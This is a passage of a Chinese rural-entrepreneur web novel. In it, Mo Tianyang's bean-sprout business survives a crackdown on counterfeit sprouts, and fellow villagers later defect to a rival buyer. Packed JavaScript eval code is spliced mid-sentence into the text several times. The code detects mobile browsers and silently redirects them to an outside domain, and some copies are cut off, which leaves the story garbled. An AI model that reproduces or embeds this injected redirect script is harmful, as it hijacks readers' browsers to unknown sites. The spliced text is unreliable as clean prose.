莫天扬眼神微动，提醒道：“不能大意。现在已经有人吃出了问题，那些人不一定会反思自己贪图便宜，很可能会把责任推出去。到时候你那边……” 张学涛淡然一笑：“这个你放心。我店里有监控，而且顾客购买时店员都会做详细记录，就是为了防止有人来碰瓷。我特意过来是想告诉你，因为那些假冒豆芽，已经有人在传言说那些问题豆芽都是你这里生产的次品。” 莫天扬冷笑一声：“空口无凭没什么用。但如果吃出问题的人多了，肯定会引起注意，到时候自然能查清源头。” “可是口碑……” “只要你那边不出现问题，就不用太担心口碑。总不能因为我这里用沙土培育豆芽，市场上其他地方出的问题都赖到我头上吧。” 送走张学涛，莫天扬深吸一口气，转身去了温室找到胡标。 “标叔，刚才张学涛来说，浅驼市面上已经出现了冒牌的豆芽。虽然大部分都是用传统方法培育的，但也有不少劣质豆芽，现在已经有人吃出问题了。您去一趟王喜山那里看看情况，如果他们使用了不该用的东西，劝他们马上停止生产。” “还有这种事？我这就去问问，别真等到出大事就麻烦了。”胡标急匆匆地离开了。 一旁的曹勇摇了摇头：“天扬，王喜山那种人不值得你帮他。这几天他们的豆芽卖得火，赚了点钱，你没看见他们那副小人得志的嘴脸。要我说，他们最好出点事，不然还真要上天了。” “勇叔，毕竟都是一个村的，他们和我也没什么深仇大恨。咱们能帮就帮一把，没必要落井下石。” “那莫栓那边……” “这就不是我们该操心的了。不过如果他的豆芽真卖三块一斤，肯定用了不该用的东西。” “要不我出去打听一下？” “就他那种人，多看一眼都嫌恶心。” 随后的几天，浅驼市场上卖豆芽的人越来越多，个个都打着“青木村沙培豆芽”的旗号。吃出问题的人也随之增加，不仅浅驼，连沛川那边也出现了状况。 这天，胡标急匆匆地跑进温室：“天扬，来了好多执法人员，突查了莫栓、王喜山他们的豆芽作坊！” 莫天扬眼神一凝：“标叔，那天您难道没……” “该说的我都说了，什么话都交代清楚了。他们当时也答应得好好的，这几天我没再过去，真不知道他们那边是什么情况。” “标叔，该做的我们都做了。他们听不听是他们的事，咱们问心无愧就好。” “我再出去看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16415252|177151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看情况。” 快到中午时，胡标从外面回来，面色复杂：“天扬，王喜山他们的豆芽房卫生不达标，用的还是没洗过的沙土，作坊被查封了。莫栓那边更严重，用了漂白剂、催生粉，沙土里还掺了农家肥，豆芽房被封不说，他和合伙人都被抓走了。现在给他干活的人都在骂街呢。” 莫天扬长舒一口气。王喜山那几个人虽然爱占小便宜，但为人还算本分，他并不希望看到他们进去。至于那些给莫栓干活的村民，他也是爱莫能助——莫栓在村里什么名声大家心知肚明，既然选择去打工，也该料到有这一天。 “其他村子呢？” “大部分因为卫生条件不达标被查封了。那些用了农家肥、漂白剂的，和莫栓一个下场。不过也有一些比较规范的，虽然豆芽的品相和口感不如咱们，但上面允许他们继续生产销售。” 莫天扬点点头：“咱们村的豆芽本来品质就好，只要他们用心做，就算比不上咱们，也能赚到钱。可是一旦失了本心，那就……” 沛川带头整治豆芽乱象，查封了大量不达标的作坊，抓了不少人。一时间，满大街的豆芽几乎绝迹。 “天扬，莫栓他们那些被抓的人都被顶格处罚，不仅要拘留，每人还被罚了十万。” “王喜山他们呢？” “他们倒是没大事，但投在豆芽房的钱怕是打水漂了。听说每户都投了好几千，王喜山那么惜财如命，这下够他肉疼一阵子了。” “花钱买个教训也好。” “天扬，你是这么想，可他们不这么觉得。” “他们？” “现在那些被查封的人都在传，说是你举报了他们，断了他们的财路。村里的情况你也知道，我担心他们会来找你麻烦。” 果然，当天下午，王喜山就带着几个被查封的村民找上门来，一个个面色不善地堵在院门口。 “莫天扬，你给我出来！”王喜山气势汹汹地喊道，“凭什么举报我们？断人财路如**父母，这个道理你不懂吗？” 莫天扬平静地走出院子，看着面前这群情绪激动的村民：“喜山叔，我为什么要举报你们？你们的豆芽房被查封，是因为卫生不达标，用了不该用的东西。这和我有什么关系？” “少装糊涂！”一个村民激动地指着莫天扬，“要不是你跑去告状，执法队怎么会查到我们头上来？现在好了，我们的投资全打水漂了，你满意了？” 胡标见状急忙上前解释：“大家冷静一下，天扬也是听到浅驼那边有人吃豆芽出了事，才还特意让我去提醒你们，让你们注意卫生，别用不该用的东西。我可是记得我过去的时候你们在豆芽中使用了那些东西，这如果不是天扬好心，你们觉得你们现在能站在这里。” “好心？”王喜山冷笑一声，“谁知道他安的什么心？表面上装好人，背地里就去举报！不就是看我们赚钱眼红吗？” 第二百章以德报怨 就在这时，几声急促的刹车声响起。王喜山等人转头看去，顿时愣住了——只见戴着口罩的刘思雨从门外走来，身边还跟着一位身材高挑的靓丽女子。王喜山觉得那女子颇为眼熟，却一时想不起在哪里见过。 刘思雨目光扫过众人，语气严肃，“你们来这里做什么？” “喜山叔说他们的豆芽房被查封是天扬举报的，这不是过来讨个说法、要个赔偿……”有人小声嘀咕道。 刘思雨看向王喜山几人，正色道：“豆芽房被查封是因为你们卫生不达标，和莫天扬有什么关系？这次突击检查是沛川方面接到消费者投诉后统一部署的行动。要不是吃出了问题，会这么兴师动众吗？” 她举起手中的文件袋：“我刚从浅驼开会回来，这次会议的主要议题就是整治违规加工作坊。这些都是消费者提供的就医证明和投诉材料，需要我念给你们听吗？” 刘思雨虽然是个外乡姑娘，但顶着村支书的身份。这个身份在县里或许不算什么，但在农村却有着相当的分量。 她的出现以及句句在理的话语，让王喜山和跟来的村民们面面相觑，气势顿时弱了下去。 “莫天扬不仅没有举报你们，事发前还特意让胡标去提醒过你们。”刘思雨继续说道，“是你们自己利令智昏，不顾消费者安全。现在还好意思来**？” 王喜山等人哑口无言，低着头不敢看刘思雨。 “都回去吧。”刘思雨语气缓和了些，“这次就当是花钱买了个教训，下次再犯可就不是罚款这么简单了。” 村民们悻悻散去后，刘思雨才对莫天扬说：“看看你得罪了多少人。这些人现在虽然散了，但心里肯定还记恨着你。” 莫天扬苦笑道：“我只是没想到，好心提醒反而被当成恶意。” “这就是人性。”刘思雨叹了口气，“你越是成功，就越有人眼红。不过……” 她话锋一转，眼中闪过一丝笑意，“经过这次整顿，市场上冒牌的青木村豆芽基本绝迹了。你的正品豆芽反而因祸得福，今天大会上还专门表扬了你，说你是浅驼年轻人创业的标杆。” 莫天扬摇摇头。树大招风的道理他懂，就现在这点规模已经让多少人眼红，要是再大力宣传，不知道还会招来多少麻烦。 “你们怎么一起回来了？”莫天扬看向跟在后面的楚婧雅，笑着问道。 “豆芽的事是我一手督办的，正好也过来开会，碰见思雨就顺路来看看……”楚婧雅解释道。 莫天扬心里明白，楚婧雅这趟来恐怕不单单是为了看看，主要还是为了之前说起的“落液无痕”的事。 几天后，让莫天扬哭笑不得的是，县里授予了他一项荣誉——“青木沙培豆芽”被认证为“科技创新农产品”，并计划在全县范围内推广这项技术。 看着莫天扬一脸郁闷的样子，颜若曦不禁莞尔：“这怎么得了荣誉还苦着个脸？你知不知道有多少人想要这样的荣誉都求之不得呢。” 莫天扬叹了口气，将手中的荣誉证书轻轻放在桌上：“若曦，你不明白。现在这点规模就已经招来这么多是非，要是再被当成典型宣传，还不知道会惹来多少麻烦。” 颜若曦正要说什么，刘思雨却先开口了：“天扬的担心不无道理。这一次豆芽事件让他大出风头，可那些被罚的人怎么想，虽说他们是罪有应得，可他们却不这样认为，他们也会和王喜山那些人一样，认为是天扬断了他们的财路。” 莫天扬苦笑着看向莫啸，莫啸看向窗外，“胡标，你对王喜山父辈了解多少。” “莫叔，我听我爹说过，王喜山父辈的兄弟不少，那些年一直都在外面做事，回来的时候却只有王喜山一家。” 莫啸微微叹息，“他有六个叔伯，三个姑姑，可回来的时候只有他父亲，他的那些叔伯、姑姑以至于他的爷爷都是因为穷饿死、累死的，他爹你应该知道吧，自己都不舍得，王喜山现在这样和他一家的过往有很大的关系，这孩子的本性不坏，可一旦说到钱，他可以和任何人翻脸，哪怕是他的儿女。” “他这个人就是这样，可他这事情也不能怪天扬吧，天扬都专门让我过去劝过他们，是他们自己不听，这如果明年过来打工，他就这样的话，这让天扬怎么做。” 莫啸目光落在莫天扬的身上，“这不过是刚刚开始，一旦明年种植面积扩大，会有更多的事情，如果他连这点小事都处理不好，那将来该怎么办，王喜山那孩子为了钱可以六亲不认，可一旦他认可你，他可以把命都给你，不过前提是不能提钱。” “标叔，王喜山他们这一次都赔了不少，他们豆芽房还在，如果改变一下还是可以赚钱，您再去和他们说一声，看看他们愿不愿意过来跟着我学习，这距离明年开春还有几个月，如果他们做得好还能赚一些。” “还去……他们不一定会领你这个人情。” 莫天扬淡淡一笑，“来不来是他们的事情，对了您和其他几个村子的支书熟悉，让他们通知一下，看看那些村子的人愿不愿意过来学习一下。” “天扬，你疯了吧，你帮王喜山他们是看在一个村子，可其他村子的人呢，一旦帮了他们，他们生出高品质豆芽，到时候必然会影响你的销售。” 莫天扬淡淡一笑，“咱们一天的产量不过三千多，整个浅驼的销售量多大，再说他们就是生出豆芽，口感能比得上咱们的豆芽。” “天扬种植出来的豆芽品质没的说，他们的豆芽根本比不上。” 莫天扬眼眸闪烁了几下，“标叔，您和他们说，如果他们豆芽的品质达标，到时候我帮他们销售。” “什么，你要帮他们销售？” “对，只要他们豆芽达到我得标准，我会帮他们销售，而且价格会高出市场的价格。” “你……” “标叔，您和他们这样说就行了，其余的事情交给我就行。” 胡标看着莫天扬坚定的眼神，最终 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“喜山叔，是不是有什么问题？” 王喜山眼眸闪烁了几下，“天扬，你有钱，可我们哪有钱，如果都按照你的标准，那的花多少钱。” “喜山叔，你们要知道一旦出现了问题，被罚多少，就这几天大家伙损失多少。” 莫天扬这话让所有人都是一愣，他们中大多数的脸色都变得有点难看，那一次突查他们的豆芽全部被处理，更是有人被罚了钱，这损失真的不小。 “那我们按照你的标准，你能确定帮我们赚钱。” 莫天扬看向一双双期待的眼神，他点点头，“当然可以，只要能达到我得标准，我可以和大家伙签合同。” “行。” “那就好好跟着陈教授学习，将豆芽房重新收拾一下，到时候我会过去验收。” 看着王喜山放低姿态，胡标这些人都感到意外，不过他们也为莫天扬刚才的话感到担忧，毕竟莫天扬帮别人赚钱，生出来的豆芽还高于市场价，这可不是说说就算了，如果不能赚钱的话，别人不说什么，王喜山肯定不会同意。 他们是这样想，可莫天扬却不这样想，村里自己种出来的豆芽口感好谁都知道，一旦拿出去销售的话，哪怕是比市场价略高一些，人们也会抢着购买。 浅驼这边出现了豆芽事件，或许人们会担心，可他还有沛川那边的市场，更是还有雍州的市场。 第二百零一章找差价 “天扬，还真有你的，”胡标笑着拍了拍莫天扬的肩膀，“其他村子那些人都老老实实来学技术，王喜山他们想挑事儿都没人响应。这几天他们不但认真听课，还自掏腰包重新整修豆芽房。就得这么治他！” 莫天扬摇摇头：“主要是他们都不想和钱过不去。合同白纸黑字签在那里，谁也不想因为自己的小失误被我踢出局。” “天扬，按王喜山说的，这两天他们就能用新法子种豆芽了。这次和你签合同的一共有二十六家，就算一家一次只出一千斤，那也是两万六千斤。光靠张学涛一家，能卖得动这么多豆芽吗？” “不是还有王传林他们吗？他们在沛川也有公司，规模虽然不大，但分销些豆芽还是没问题的。今天他们就会过来，到时候我和他们详细商量一下。” 说完，莫天扬看向陈宏利四人：“宏利，你们几个这几天辛苦一下，多去各村转转。先把第一批豆芽种出来，等大家真正见到收益，才会踏实跟着干。” …… “天扬，婧雅来电话了，安云飞的处理结果出来了。” “什么结果？” “被**，个人财产全部没收，判了三年。被他牵连的人也不少，大部分都丢了工作。这件事影响很大，已经惊动了省里。” 莫天扬眼中闪过一丝诧异：“难道就没人帮他活动活动？” 刘思雨给了他一个白眼：“省里都惊动了，谁敢在这个节骨眼上替他活动？那不是自找麻烦吗？” 莫天扬淡淡一笑，心里却在暗忖：上次安云飞只是背了个处分，如果背后那人真有心帮他，肯定不会是这样的结果。既然上次出了手，这次为何…… “对了，林家那边什么情况？” 听到这两个字，刘思雨的俏脸瞬间蒙上一层寒霜：“婧雅提了一句，说林氏集团的股价那几天暴跌，但因为林建明的死和林家的底蕴，这几天又在慢慢回升。对了，婧雅还说，林建明的儿子林耀东回来了，已经接替他父亲的职位。他回来后，几家与林氏集团有矛盾的家族和企业都接连出了意外。” 莫天扬自然心知肚明，却还是故作疑惑地皱眉：“这是为什么？” “林建明**的事被曝光，最终意外身亡。林家一直认为是对头家族或企业做的。婧雅说这段时间林家一直在暗中调查，甚至还悬赏一千万要找出爆料的人。” 莫天扬咧了咧嘴：“还真是财大气粗。” “天扬，我们过来也住了一阵子了，这几天休息得挺好，打算今天就回去了。总不能天天上班还得麻烦你派人接送。” 旁人或许不清楚内情，但莫天扬心里明镜似的——林建明当初买凶针对的就是刘成祥夫妻。如今林建明虽已不在，可他儿子林耀东是个更狠的角色，会不会继续针对刘家，谁也说不准。 “叔叔、阿姨，您二位回去也是冷清，我这里人多热闹。现在谁家也不差这两口吃的，就安心住下吧。” 刘成祥和杨丽相视一眼，都有些犹豫。他们虽看出女儿刘思雨对莫天扬有意思，可毕竟八字还没一撇，总不好一直叨扰。 “爸妈，这儿地方大，住着也舒坦。要不你们交点伙食费？”刘思雨适时插话。 杨丽连忙点头：“这倒是个办法。” “叔叔、阿姨，你们太见外了。”莫天扬笑道，“当初思雨也没少帮我，不过是添两副碗筷的事，什么钱不钱的。” “那就麻烦你了。”刘成祥终于松口。 刘成祥夫妇愿意留下，让莫天扬安心不少，这样他也能更专注于事业的发展。 这天中午吃饭时，莫天扬问陈宏利：“宏利，涛哥那边的豆芽卖得怎么样？” “涛哥的豆芽早就打出名声了，他的精品果蔬店在浅驼已经是金字招牌。虽说王喜山他们的豆芽口感比不上咱们的，但比市场上那些用养殖箱种出来的要好太多，所以卖得不错。虽然价格比市场价高出一块多，但基本上都被那些买不到咱们豆芽的餐馆预定了。” “每天的销量呢？” “一上午就能卖完。涛哥觉得店面有点小，正打算开家分店呢。” “那就好。对了，把每天的豆芽钱都给大伙结了吧。” 陈宏利等人闻言都愣住了：“天扬，合同上不是说好十天一结吗？怎么突然要……” “大家赚的都是辛苦钱，压十天的话，他们的资金周转可能会紧张。先一次一结，等他们宽裕了再按合同来。” 胡标赞同地点头：“前段时间因为豆芽的事，不少人被罚了款，这次重新整修豆芽房又花了不少。天扬考虑得周到，及时结账能让他们安心，这样才能好好干。不过得跟他们说清楚为什么突然改变结账方式。” “天扬，他们这一次能赚多少？”曹勇好奇地问。 “市场价一斤两块五左右，咱们给他们三块一，涛哥那边一斤三块六。每斤他们能赚五**多，一千斤的话就能赚五百多。扣除成本和人工，一千斤豆芽能净赚六七百。” “这也不少啊！王喜山他们一共九个人，算下来每人能分**十块呢。” 莫天扬点头：“七八十块没问题。种豆芽虽然辛苦，但只要能坚持下去，比在外打工强多了。” “行，我们下午就去办。” 晚上吃饭时，陈宏利笑着对莫天扬说：“天扬，你是没看见大伙拿到钱时那个高兴劲儿，王喜山都快哭出来了。” 莫天轻轻叹息：“主要是穷怕了啊。” 前段时日，村民自己用沙土培育豆芽，没几天就被查封，唯独莫天扬安然无恙。如今他帮着大家卖豆芽赚了钱，这事在十里八乡传为美谈，不少人都动了心思，托人找上门来，也想跟着莫天扬学习豆芽种植技术。 对于乡亲们的请求，莫天扬来者不拒。他真心希望带领大家共同致富，无论谁来请教，他都倾囊相授。 日子一天天过去，天气越来越冷，但在温室里干活的人们却每天都穿着夏日的短袖。黄瓜、豆角已经可以采摘，茄子、辣椒也就这几天的事。 虽然黄瓜、西红柿、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16419913|177151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 豆角都换上了强度更好的塑钢架，但因为挂果太多，架子都被压弯了，连茄子、青椒也都用上了支架。 “天扬，有技术人员就是不一样啊，这西红柿比春天那会儿更多、更大了。”胡标看着一个个半斤大小、青翠圆润的西红柿，眼中满是激动。 莫天扬点头：“这就是科技的力量。陈教授不知什么时候就要回去搞实验，让大家抓紧时间学习，有什么不懂的就多问。多结一个果，那可都是钱啊。” 聊着天，莫天扬走到了青木玄心果的地边。这些果子个头虽不如那边的西红柿大，但数量很多，个个都有鹅蛋大小，即便还没成熟，外皮已经泛出淡淡的红色。 “天扬，这鸡心柿是不是快熟了？” 莫天扬哈哈一笑：“早着呢，要等变黑了才算成熟。” “天扬，你快出去看看，王喜山带着一群人过来找事了！”曹勇急匆匆地从外面跑进来。 莫天扬眉头一皱：“又怎么了？这段时间不是每次都按时结账了吗，他们怎么又找上门来？” 曹勇苦笑了一下：“你去看看就知道了。” 大院外面，除了王喜山之外，还有二十多个莫天扬不认识的人，不远处还站着一群穿着厚棉衣的村民，正远远地朝这边张望。 一看到王喜山这阵势，莫天扬不禁皱起了眉头：“喜山叔，您不在家照看豆芽，这又是闹的哪一出？” 王喜山搓着手，脸上堆着笑：“天扬，你这孩子是我们看着长大的。你教我们种豆芽，帮我们卖豆芽，我们心里都很感激。” “喜山叔，那您今天这是……” “可你这孩子做事不地道啊！”王喜山话锋一转，“你收我们的豆芽是三块一毛二，确实比市场价高了五**。但我们昨天特地去了趟浅驼打听，那个精品果蔬店一斤卖三块六**多！这笔账怎么算？你得再补我们五**差价。” 莫天扬眉头紧锁，脸上露出一丝不悦。旁边的胡标可就忍不住了：“王喜山，你们还有没有良心？天扬教你们技术，帮你们找销路，收购价已经比市场价高了五**，你们还不知足？现在反倒来找事，这不是纯纯的白眼狼吗？” “那我们哪知道天扬赚了多少？”王喜山理直气壮地说，“我可听说沛川那边的豆芽一斤能卖到四块多。我们辛辛苦苦种豆芽，赚的都是小头，大头都让别人赚去了，我们找谁说理去？” 莫天扬看着王喜山一行人，眼中闪过一丝失望：“喜山叔，别人卖什么价钱那是人家的本事。人家上门收豆芽要不要油钱？租店铺、请人工要不要成本？我给大家找销路，自己一分钱不赚，难道这还做错了？” “我们不是这个意思……”王喜山语气软了一些，但依然坚持，“可他们赚得也太多了，我们心里不平衡啊。” 莫天扬简直要被气笑了：“照您这意思，我把豆芽卖出去，饭店赚了钱我还得去找人家分一杯羹？要是大家觉得赚得少，完全可以自己拿去市场上卖，这样总行了吧？” 第二百零二章倒戈 莫天扬这话一出，周围看热闹的村民都哄笑起来。王喜山一行人却满脸尴尬，他们心里也清楚自己是在无理取闹，不过是想借机抬高点豆芽的价格。 “王喜山，天扬这么对你们，你们还真是没皮没脸！就你们这样的，天扬当初真不该帮你们！” “就是！嫌人家给得少，有本事自己拉出去卖啊！天扬好心帮你们联系买家，你们倒好，反过来找天扬麻烦，真是没吃上羊肉还惹一身骚！” 村民们七嘴八舌的议论，让王喜山几个恨不得找个地缝钻进去。他们本只想多赚一点，没想到竟引起了众怒。 “天扬，我们不是这个意思……就是想多卖点钱。”王喜山讪讪道。 莫天扬摇摇头：“喜山叔，我刚才都说了，人家买家也要核算成本。你们可以去浅驼或者沛川打听一下店面租金，再看看雇一个工人要多少工资。如果还觉得吃亏，大伙可以合伙开一家专卖店。” “那得多少钱啊？” “小一点的铺面算下来要七八万，大的十几万、二十几万都有。” 一群人听得直咧嘴：“我们哪来那么多钱？这得多久才能回本？” “这就是做买卖的风险。”莫天扬耐心解释，“豆芽不比土豆，一旦隔夜就卖不出价。别光看人家卖多少钱，人家赔钱的时候你们又没看见。” 他转向一个三十多岁的中年汉子问道：“你们以前外出打工，一天能挣多少？” “**十，好点一百来块吧。” “现在呢？” “纯收入七八十，好的时候能上一百。” “一天一百块，还能守着老婆孩子热炕头，这不比在外打工强？先慢慢做着，等发展起来再扩大规模。只要把名声打出去，赚的肯定比现在多。” 就在这时，一个声音突然插了进来：“我给你们三块二毛二！” 所有人都愣住了，转头看去。莫天扬不由得皱眉——只见莫栓带着十多个吊儿郎当的青年走了过来。 莫栓的为人，外村人或许不知，但王喜山他们再清楚不过。几人面面相觑，眼神闪烁。莫栓每斤多给一毛，按一天一千斤算，就是多一百块，这诱惑实在不小。 莫天扬将王喜山几人的神情变化尽收眼底，心里咯噔一下，却不好多说。毕竟他和莫栓积怨已深，此时开口不但会惹莫栓不满，连王喜山他们都会反感。 “标叔，咱们回去。”莫天扬转身道。 胡标看了看王喜山几人，欲言又止。但在莫栓狠厉的目光下，最终还是摇摇头，跟着莫天扬往回走。 “栓子，你真给三块二？”王喜山迟疑地问。 莫栓盯着莫天扬的背影，眼中闪过一丝狠辣：“喜山叔，走，去你们那儿看看，咱们好好商量。”他又转向那些外村的豆芽养殖户：“有兴趣的也一起来！我给的价绝对比他高。你们怕是不知道，他和卖家暗中有来往，每斤都要抽成呢！” 已经走出十几米的莫天扬脚步一顿，但随即摇摇头，继续朝楼房走去。 “天扬，他就这么污蔑你，你……”胡标气得直哆嗦。 “标叔，就他那种人，有一句人话吗？多说他一句都是自贬身价，别理他。” “可王喜山他们……” “都不是小孩子了。更何况喜山叔他们知道莫栓是什么人。要是咱们说三道四，反倒显得我不让人家赚钱似的。” 快到晚上时，胡标沉着脸从外面回来。正在和刘成祥、颜若曦聊天的莫天扬见他神色不对，下意识皱了皱眉。 “标叔，王喜山他们……” “他们来找我，说决定把豆芽卖给莫栓。除了王喜山他们，和咱们签合同的还有十四家也要跟莫栓合作。” 莫天扬苦笑着摇摇头：“王喜山一向精明，怎么突然糊涂了？” “不清楚。按王喜山的说法，莫栓也答应一次一结。” “三块二毛二？” “对。” 莫天扬深吸一口气：“但愿这次他们别再被莫栓给骗了。” “可他们和你是签了合同的，他们怎么能……” “算了吧，”莫天扬摆摆手，“合同里有条款，如果有人出价比我们高，他们有自主选择的权利。” “那张学涛那边怎么办？” “没事，回头我给他打个电话解释一下。” 莫天扬无私帮助王喜山等人赚钱，可他们却为了一毛钱的差价转头就与莫栓合作，这事在村里乃至十里八乡都引起了热议。多数人都认为王喜山他们做得不地道，毕竟他们能光明正大地赚钱，全靠莫天扬的帮助。 不过也有人持不同看法，认为莫栓出价更高，王喜山他们想多赚点无可厚非，错在莫天扬给价**道。 莫天扬自己倒没太往心里去，毕竟谁都想多挣点钱。他只是隐隐担心，王喜山他们可别被莫栓给骗了。 这天晚饭后，莫天扬问胡标：“标叔，王喜山他们那边最近怎么样？” “莫栓那边倒是一次一结，从不拖欠。剩下那几家也有点动摇了。” 莫天扬皱了皱眉。豆芽能赚多少他心知肚明，莫栓的为人他更清楚。按莫栓的收购价来算，他根本赚不了几个钱。 见莫天扬神色凝重，刘思雨关切地问：“天扬，是不是有什么不对劲？” 莫天扬点点头：“是有点蹊跷。宏利，你这几天去涛哥那边，他没说什么吗？” 陈宏利摇摇头：“虽说豆芽供应量少了，但他那边还是忙得不可开交。按他的说法，莫栓的豆芽都直接送到酒店了，和他没有冲突，所以……” “原来如此。”莫天扬说着，目光投向一旁沉默的王海龙。王海龙会意，轻轻点了点头。 “不管他们了，能赚到钱总是好事。” 曹勇冷哼一声：“天扬，我早就说过，王喜山他们就是一群白眼狼！前几天对你点头哈腰的，看看现在，一个个鼻孔朝天，看人都用眼角瞟。看见那几个货我就来气！” “勇叔，没必要动气。” “宏利，咱们的黄瓜、豆角卖得怎么样？” “抢疯了！有钱人都得排队买。涛哥每天接电话接到手软，今天还问西红柿、茄子、辣椒什么时候能上市呢。” “温室就这么大，多亏了陈教授指导，每种作物挂果都特别多，这才能分一些过去。” 两天后，在温室里，胡标看着开始泛红的西红柿，问道：“天扬，这西红柿一开始转红，最多一个星期就能熟了。你打算定什么价？” “冬季蔬菜价格本来就不低，普通西红柿都要五六块，咱们这是无公害的，最少也得**块吧。等我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“海哥，如果他不主动针对我们，就暂时停止对他的调查。” “我们明白你的意思。但你想息事宁人，他却未必这么想。林建明的死都能让这么多人失踪，更何况……” “他身边那些人是什么来路？” “不清楚，但肯定不是本地人。有几个看起来像是东南亚一带的，很可能是雇佣兵。” 莫天扬脸色顿时变得凝重：“这么说，那些失踪的人很可能已经……” “对。如果真是雇佣兵，他们做事毫无顾忌，只要雇主给钱，什么脏活都敢接。另外，林耀东好像在暗中调查王传林他们。” “派两个人去保护王传林他们，绝不能让他们出事。” “这个没问题。我现在担心的是，一旦林耀东发现王传林在销售屠苏，很可能会顺藤摸瓜查到你这里来。” 莫天扬沉默片刻，目光变得深邃：“该来的总会来。既然躲不过，那就做好准备迎接吧。不过在这之前，我们得先确保身边的人安全。” 王海龙点点头，又想起什么：“还有一件事，林耀东最近在沛川郊区买下了一大片地，据说要建一个大型农产品加工基地。我怀疑他是冲着你的新品种来的。” “看来这场较量，是避不开了。”莫天扬望向窗外，夜色中的青木山轮廓隐约可见，“不过既然要斗，那就看看谁笑到最后。” 月光洒落在他的脸上，映出一双坚定而睿智的眼睛。在这场即将到来的风暴中，他必须守护的不仅是自己的事业，还有身边每一个信任他的人。 而青木村的夜晚，依然宁静如常，只是在这平静之下，暗流正在悄然涌动。 第二百零三章连锁反应 “天扬，这西红柿真是特别。我搞研究几十年，还是头一次吃到味道这么醇厚的西红柿。你确定温室里用的都是普通品种的种子？”温室里，陈亮尝了一口西红柿，眼中满是惊讶。 莫天扬微微一笑。从黄瓜、豆角、茄子、辣椒到现在的西红柿，每次品尝时，陈亮都会这样问。 “陈教授，我用的蔬菜种子算是老品种了。能有现在的口感，离不开您和几位老师的指导。夏天那会儿可没这么好的味道。” 陈亮却摇了摇头。早在夏天，他就开始关注莫天扬，也尝过他种的蔬菜，那时的口感就和现在相差无几。这说明莫天扬用的种子本就与众不同，只是现在…… 每个人都有属于自己的秘密。莫天扬不愿多说，陈亮也不会追问。他知道，再问下去只会引起莫天扬的警惕和疏远。 “陈教授，咱们去看看青木墨莓吧。” 来到青木墨莓的生长区，眼前已是一片紫黑。密密麻麻的黑草莓几乎把叶片都压在了下面。 莫天扬蹲下身，观察着已经呈现紫黑色的果实：“陈教授，虽然还差些火候，但已经能吃了。您尝尝？” 陈亮哈哈一笑，摘下一颗鸡蛋大小的青木墨莓：“青木山真是个神奇的地方。这样的品种，就算是国外那些专门研究转基因的机构也培育不出来。” 说着，他咬了一口，眼睛顿时一亮。甘甜中带着微酸，汁水充盈。陈亮下意识地摇头——这还不到完全成熟的时候，若是完全成熟，真不知该是何等美味。 “天扬，这青木墨莓现在就可以上市销售了。” “您们不继续研究了？” “用不了这么多。现在这个季节，连大棚种植的草莓都很少见。你这青木墨莓不仅个头大、口感好，颜色还这么特别，绝对能卖个好价钱。一斤卖一百块都会有人抢着买。” 莫天扬淡淡一笑。草莓本是时令水果，通常只在春夏上市。最早上市的普通草莓都要二三十一斤，精品草莓甚至能卖到七八十乃至上百元。这青木墨莓颜色独特、口感更佳、个头又大，在草莓稀缺的季节，一百一斤确实会是抢手货。 “陈教授，那青木玄心果和青木朱瓜能卖到什么价？” 陈亮摇摇头：“这三种瓜果在市场上都从未出现过，我不敢妄下定论。但我敢保证，就你这里的蔬菜，别说青木玄心果、青木朱瓜和青木墨莓，就是普通的西红柿、黄瓜拿到一线城市，也绝对能引起轰动。” 莫天扬点点头。胡标这些在青木山下长大的人都没见过这些品种，更别说生活在都市里的人了。 “天扬，还有件事要告诉你。” “您说。” “老师们回去后，试种了你这里所有的蔬菜瓜果。普通品种倒是种出来了，但现在才刚刚挂果，长势远不如你这里。至于青木朱瓜、青木墨莓和青木玄心果，只种出了青木朱瓜，另外两种都没成功。” 莫天扬心头一动，眼中闪过一丝惊讶：要知道张自强、康燕冰那可是院士级别的人物，他们的科研所必然拥有世界上最好的种植条件，可他们却没办法种植出……这还真的让他感到惊讶。 “青木朱瓜结瓜了吗？” 陈亮摇头：“没有，就算按照你说的方法也结不了瓜。” “这可能和土壤、水质有关吧。”莫天扬内心很是震动。他现在基本可以确定，自己能种出这些品种，而且每种都能顺利挂果，绝对和灵泉空间的水有关。 “老师们也是这么想的。按照张教授的推测，青木玄心果、青木墨莓和青木朱瓜，或许只有在你这里才能种得出来。” “张老、康老没说是什么原因。” “很大原因就是你院中的古井。” 听陈亮这一说，莫天扬心中既喜又忧。喜的是自己的产品具有不可复制的独特性，忧的是这会引来更多觊觎的目光。 黄瓜、豆角这些蔬菜已经让张学涛的精品果蔬彻底打响名头，当青木玄心果、青木墨莓出现在精品果蔬，不到半个小时就被人们抢购一空。 “天扬，疯了，顾客们全疯了，到现在他们还在堵门询问下一批果蔬什么时候补货，特别是青木墨莓、青木玄心果，县城最大的酒店都专门派人过来，想要全部买下青木墨莓、青木玄心果。说是价格任我开。” 